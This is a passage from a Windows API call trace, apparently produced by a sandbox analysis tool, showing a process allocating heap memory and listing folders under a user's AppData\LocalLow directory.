lpMem=0x301dd10 | out: hHeap=0x670000) returned 1 [0061.546] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dd10 [0061.546] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.546] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.546] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dd10 | out: hHeap=0x670000) returned 1 [0061.546] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dd10 [0061.546] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.546] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.546] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dd10 | out: hHeap=0x670000) returned 1 [0061.546] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dd10 [0061.546] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.547] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.547] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dd10 | out: hHeap=0x670000) returned 1 [0061.547] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dd10 [0061.547] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.547] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.547] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dd10 | out: hHeap=0x670000) returned 1 [0061.547] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dd10 [0061.547] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.547] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.547] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dd10 | out: hHeap=0x670000) returned 1 [0061.547] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dd10 [0061.547] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.547] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.547] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.547] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.547] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dd10 | out: hHeap=0x670000) returned 1 [0061.547] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dd10 [0061.547] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.547] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.547] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dd10 | out: hHeap=0x670000) returned 1 [0061.547] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dd10 [0061.547] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.547] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0061.547] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.547] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.547] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dd10 | out: hHeap=0x670000) returned 1 [0061.547] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dd10 [0061.547] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.547] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.548] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dd10 | out: hHeap=0x670000) returned 1 [0061.548] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dd10 [0061.548] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.548] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.548] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dd10 | out: hHeap=0x670000) returned 1 [0061.548] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dd10 [0061.548] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.548] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.548] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dd10 | out: hHeap=0x670000) returned 1 [0061.548] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dd10 [0061.548] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.548] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.548] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dd10 | out: hHeap=0x670000) returned 1 [0061.548] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dd10 [0061.548] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.548] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.548] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.548] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.548] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dd10 | out: hHeap=0x670000) returned 1 [0061.548] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dd10 [0061.548] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.548] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.548] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dd10 | out: hHeap=0x670000) returned 1 [0061.548] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dd10 [0061.548] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.548] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.548] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0061.548] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bd0 [0061.548] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0061.549] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0061.549] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0061.549] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0061.549] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d09c8 [0061.549] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0061.549] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30180d0 [0061.549] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0061.549] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4898 [0061.549] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0061.549] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0061.549] PathFindFileNameW (pszPath="") returned="" [0061.549] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dd10 [0061.549] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0061.549] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.549] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 1 [0061.549] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee6e0 [0061.549] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee8d8 [0061.549] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x38) returned 0x3038608 [0061.549] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dd10 [0061.549] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 0 [0061.550] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0061.550] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0061.550] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee6e0 [0061.550] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0061.550] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee8d8 [0061.550] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.550] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\") returned="CryptnetUrlCache\\" [0061.550] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4898 [0061.550] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.550] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0061.550] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0061.550] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0061.550] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d09c8 [0061.550] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0061.550] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30180d0 [0061.550] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0061.550] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0061.550] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0061.550] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0061.550] PathFindFileNameW (pszPath="") returned="" [0061.550] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee8d8 [0061.550] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0061.551] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.551] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Content", cAlternateFileName="")) returned 1 [0061.551] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feb968 [0061.551] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feb688 [0061.551] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x54) returned 0x30faeb0 [0061.551] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dab0 [0061.551] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee8d8 [0061.551] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MetaData", cAlternateFileName="")) returned 1 [0061.551] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feb968 [0061.551] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feb688 [0061.551] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0061.551] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dd10 [0061.551] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee980 [0061.551] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febc48 [0061.551] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MetaData", cAlternateFileName="")) returned 0 [0061.551] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0061.551] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0061.551] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.551] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0061.551] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74eb40 [0061.552] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.552] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12\\") returned="IME12\\" [0061.552] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ea30 [0061.552] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0061.552] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0061.552] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0061.552] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0061.552] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d09c8 [0061.552] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0061.552] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30180d0 [0061.552] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0061.552] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4898 [0061.552] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0061.552] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0061.552] PathFindFileNameW (pszPath="") returned="" [0061.552] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dab0 [0061.552] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0061.553] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.553] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0061.553] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0061.553] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0061.553] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dab0 [0061.553] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0061.553] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301ded8 [0061.553] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.553] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12\\") returned="IMJP12\\" [0061.553] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.554] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0061.554] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0061.554] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0061.554] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0061.554] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d09c8 [0061.554] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0061.554] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30180d0 [0061.554] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0061.554] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4898 [0061.554] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0061.554] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0061.554] PathFindFileNameW (pszPath="") returned="" [0061.554] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301ded8 [0061.554] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0061.554] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.554] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0061.554] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0061.555] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0061.555] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dab0 [0061.555] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0061.555] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301ded8 [0061.555] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.555] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1\\") returned="IMJP8_1\\" [0061.555] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0061.555] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.555] PathFindFileNameW 